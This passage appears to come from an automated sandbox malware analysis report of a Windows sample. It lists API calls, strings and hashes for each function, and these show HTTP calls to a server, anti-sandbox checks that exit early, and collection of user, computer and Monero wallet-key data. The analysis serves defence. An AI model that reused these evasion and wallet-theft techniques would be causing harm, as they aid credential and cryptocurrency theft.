InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005C63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005C63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 005C63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005C646D
InternetCloseHandle.WININET(00000000), ref: 005C64EF
InternetCloseHandle.WININET(00000000), ref: 005C64F9
InternetCloseHandle.WININET(00000000), ref: 005C6503

Strings

ERROR, xrefs: 005C64C9
GET, xrefs: 005C637C
ERROR, xrefs: 005C6407

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 1124b6eb7ecffb9013d2ea809bfea568fc08e3880b7b75310fc2de1b79ebd82d
Instruction ID: cb9a86c9b17cefc985a7f17052626c6e7ecc67202cf922c2d91a8ad90ebba86a
Opcode Fuzzy Hash: 1124b6eb7ecffb9013d2ea809bfea568fc08e3880b7b75310fc2de1b79ebd82d
Instruction Fuzzy Hash: CB712C71A00258AFDB28DBE4CC99FEE7B74BB44700F108559F50A6B290DBB46A85CF51

Function 005D5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005DA820: lstrlen.KERNEL32(005C4F05,?,?,005C4F05,005E0DDE), ref: 005DA82B
Part of subcall function 005DA820: lstrcpy.KERNEL32(005E0DDE,00000000), ref: 005DA885

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005D5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005D56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005D5857

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

Part of subcall function 005D51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005D5228

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

Part of subcall function 005D52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005D5318
Part of subcall function 005D52C0: lstrlen.KERNEL32(00000000), ref: 005D532F
Part of subcall function 005D52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 005D5364
Part of subcall function 005D52C0: lstrlen.KERNEL32(00000000), ref: 005D5383
Part of subcall function 005D52C0: lstrlen.KERNEL32(00000000), ref: 005D53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005D578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005D5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005D5A0C
Sleep.KERNEL32(0000EA60), ref: 005D5A1B

Strings

ERROR, xrefs: 005D5636
ERROR, xrefs: 005D5932
ERROR, xrefs: 005D5693
ERROR, xrefs: 005D5849
ERROR, xrefs: 005D59FE
ERROR, xrefs: 005D577D

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 28fd8635bced8cdb6b378f71cf32b279d74a75ab4c0e5974f16d4a9664a85856
Instruction ID: 8ba83b07ca0485dd99febe5be08db0313af7c73c0ad9f452b2e67970c7119239
Opcode Fuzzy Hash: 28fd8635bced8cdb6b378f71cf32b279d74a75ab4c0e5974f16d4a9664a85856
Instruction Fuzzy Hash: B5E166729101459ACB28FBB8DC5AEFE7B38BF94300F50812BB40656291FF345B49DB96

Function 005D17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 005D17C5
ExitProcess.KERNEL32 ref: 005D17D1

Strings

block, xrefs: 005D17B7

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: a82569da3e92dc05523a084d344dbbf577ce4f534a390cb63621b4c9022b8a6d
Instruction ID: 8e1a3fa537d87c83bd0ef4ded5580289729a45be8feb2fa72f4958416093b4cb
Opcode Fuzzy Hash: a82569da3e92dc05523a084d344dbbf577ce4f534a390cb63621b4c9022b8a6d
Instruction Fuzzy Hash: 87517CB4A00209FBCB18DFA9D964ABE7BB5BF44304F10945BE406A7380D770EA51DB66

Function 005D7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 005D7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005D757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 005D7603
RtlAllocateHeap.NTDLL(00000000), ref: 005D760A
wsprintfA.USER32 ref: 005D7640

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Strings

:, xrefs: 005D755C
\, xrefs: 005D7560
C, xrefs: 005D754C
^, xrefs: 005D764D, 005D7655, 005D761B, 005D7623

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$^
API String ID: 1544550907-519173996
Opcode ID: a3509f9ce39c92af9889f64216dc50ed07b875a449d1c743110031a44ab2a492
Instruction ID: 03897363387a0aeb4784af2fae56d28b5048c274046e42c4848dd416170c7f6b
Opcode Fuzzy Hash: a3509f9ce39c92af9889f64216dc50ed07b875a449d1c743110031a44ab2a492
Instruction Fuzzy Hash: 4A4183B1D04358ABDB20DF98DC45BEEBBB4BB48700F10409AF50567280E775AA44CBA5

Function 005D69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005D9860: GetProcAddress.KERNEL32(76210000,014A1608), ref: 005D98A1
Part of subcall function 005D9860: GetProcAddress.KERNEL32(76210000,014A1680), ref: 005D98BA
Part of subcall function 005D9860: GetProcAddress.KERNEL32(76210000,014A15A8), ref: 005D98D2
Part of subcall function 005D9860: GetProcAddress.KERNEL32(76210000,014A1560), ref: 005D98EA
Part of subcall function 005D9860: GetProcAddress.KERNEL32(76210000,014A15C0), ref: 005D9903
Part of subcall function 005D9860: GetProcAddress.KERNEL32(76210000,014A8B38), ref: 005D991B
Part of subcall function 005D9860: GetProcAddress.KERNEL32(76210000,01495088), ref: 005D9933
Part of subcall function 005D9860: GetProcAddress.KERNEL32(76210000,01494F48), ref: 005D994C
Part of subcall function 005D9860: GetProcAddress.KERNEL32(76210000,014A1728), ref: 005D9964
Part of subcall function 005D9860: GetProcAddress.KERNEL32(76210000,014A1590), ref: 005D997C
Part of subcall function 005D9860: GetProcAddress.KERNEL32(76210000,014A1698), ref: 005D9995
Part of subcall function 005D9860: GetProcAddress.KERNEL32(76210000,014A1740), ref: 005D99AD
Part of subcall function 005D9860: GetProcAddress.KERNEL32(76210000,01495148), ref: 005D99C5
Part of subcall function 005D9860: GetProcAddress.KERNEL32(76210000,014A16B0), ref: 005D99DE

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005C11D0: ExitProcess.KERNEL32 ref: 005C1211

Part of subcall function 005C1160: GetSystemInfo.KERNEL32(?), ref: 005C116A
Part of subcall function 005C1160: ExitProcess.KERNEL32 ref: 005C117E

Part of subcall function 005C1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 005C112B
Part of subcall function 005C1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 005C1132
Part of subcall function 005C1110: ExitProcess.KERNEL32 ref: 005C1143

Part of subcall function 005C1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 005C123E
Part of subcall function 005C1220: __aulldiv.LIBCMT ref: 005C1258
Part of subcall function 005C1220: __aulldiv.LIBCMT ref: 005C1266
Part of subcall function 005C1220: ExitProcess.KERNEL32 ref: 005C1294

Part of subcall function 005D6770: GetUserDefaultLangID.KERNEL32 ref: 005D6774

Part of subcall function 005C1190: ExitProcess.KERNEL32 ref: 005C11C6

Part of subcall function 005D7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005C11B7), ref: 005D7880
Part of subcall function 005D7850: RtlAllocateHeap.NTDLL(00000000), ref: 005D7887
Part of subcall function 005D7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 005D789F

Part of subcall function 005D78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005D7910
Part of subcall function 005D78E0: RtlAllocateHeap.NTDLL(00000000), ref: 005D7917
Part of subcall function 005D78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 005D792F

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014A8C28,?,005E110C,?,00000000,?,005E1110,?,00000000,005E0AEF), ref: 005D6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 005D6AE8
CloseHandle.KERNEL32(00000000), ref: 005D6AF9
Sleep.KERNEL32(00001770), ref: 005D6B04
CloseHandle.KERNEL32(?,00000000,?,014A8C28,?,005E110C,?,00000000,?,005E1110,?,00000000,005E0AEF), ref: 005D6B1A
ExitProcess.KERNEL32 ref: 005D6B22

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 9082fe51dbc1150998e17c5d3bdf227573a62077df81d7862961add7d46ee389
Instruction ID: 6a4913a3a4ee56f756ab197d9da5b72ffbbebe96f0d5158a9bb5bcbf2e0631d2
Opcode Fuzzy Hash: 9082fe51dbc1150998e17c5d3bdf227573a62077df81d7862961add7d46ee389
Instruction Fuzzy Hash: E831527190020A9ADB28F7F4DC5AFEE7F78BF84340F00451BF542A2282DF705541D6A6

Function 005C1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 005C123E
__aulldiv.LIBCMT ref: 005C1258
__aulldiv.LIBCMT ref: 005C1266
ExitProcess.KERNEL32 ref: 005C1294

Strings

@, xrefs: 005C1233

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 9feb2fc88d4b36707287b33d43b5f9b842785e560f02123f99c55d1d2c7b389c
Instruction ID: 5c950a1cdf0b7f9104a59b85d27b7fe20b2b8fc1daeb4f2696553dfeffab30fe
Opcode Fuzzy Hash: 9feb2fc88d4b36707287b33d43b5f9b842785e560f02123f99c55d1d2c7b389c
Instruction Fuzzy Hash: 6A014BB4940308AEEB20EBE4CC49FAEBF78BB45701F208049E605B6282D67455818799

Function 005D6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014A8C28,?,005E110C,?,00000000,?,005E1110,?,00000000,005E0AEF), ref: 005D6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 005D6AE8
CloseHandle.KERNEL32(00000000), ref: 005D6AF9
Sleep.KERNEL32(00001770), ref: 005D6B04
CloseHandle.KERNEL32(?,00000000,?,014A8C28,?,005E110C,?,00000000,?,005E1110,?,00000000,005E0AEF), ref: 005D6B1A
ExitProcess.KERNEL32 ref: 005D6B22

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: a6fcd2f000cf6b1a00c9599e9656d66ae94788e6b448cf23764058d0ea306761
Instruction ID: d41ee2c47bf5f128532e07fc9a416dd917ca1f46d4006c2f991b524648b91e77
Opcode Fuzzy Hash: a6fcd2f000cf6b1a00c9599e9656d66ae94788e6b448cf23764058d0ea306761
Instruction Fuzzy Hash: 47F03A3094031AAAEB60ABA89C0ABBE7E74FB04701F108917B552A13D1DBB05542D656

Function 005C47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005C4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 005C4849

Strings

<, xrefs: 005C47C9

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 0122a8f9a4f9e99602812fb91172345d558c5be027fd32afd8ecce6af19d5d62
Instruction ID: 3051d5b3eab816cf40192462daeaa71ec75c17faadde136665eb0efabeeb5a6f
Opcode Fuzzy Hash: 0122a8f9a4f9e99602812fb91172345d558c5be027fd32afd8ecce6af19d5d62
Instruction Fuzzy Hash: 4B210EB1D00209ABDF14DFA4E849ADE7B75FB45320F108626F955A72D0EB706A09CB91

Function 005D51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

Part of subcall function 005C6280: InternetOpenA.WININET(005E0DFE,00000001,00000000,00000000,00000000), ref: 005C62E1
Part of subcall function 005C6280: StrCmpCA.SHLWAPI(?,014B0DB0), ref: 005C6303
Part of subcall function 005C6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005C6335
Part of subcall function 005C6280: HttpOpenRequestA.WININET(00000000,GET,?,014B0588,00000000,00000000,00400100,00000000), ref: 005C6385
Part of subcall function 005C6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005C63BF
Part of subcall function 005C6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005C63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005D5228

Strings

ERROR, xrefs: 005D5273
ERROR, xrefs: 005D521A

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 9961c10b14ec883463a4b763c23496f47b5ac78fdc238ab52e5842a224c818fc
Instruction ID: 4b9f7bafa06d655eac075d518b156145c92ebaf7b0fa267707b93e9ccdfdd39a
Opcode Fuzzy Hash: 9961c10b14ec883463a4b763c23496f47b5ac78fdc238ab52e5842a224c818fc
Instruction Fuzzy Hash: F1113730900549ABCB24FF78DD5AEEE7B38BF90300F40455BF80A56292EF30AB05C655

Function 005D78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005D7910
RtlAllocateHeap.NTDLL(00000000), ref: 005D7917
GetComputerNameA.KERNEL32(?,00000104), ref: 005D792F

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

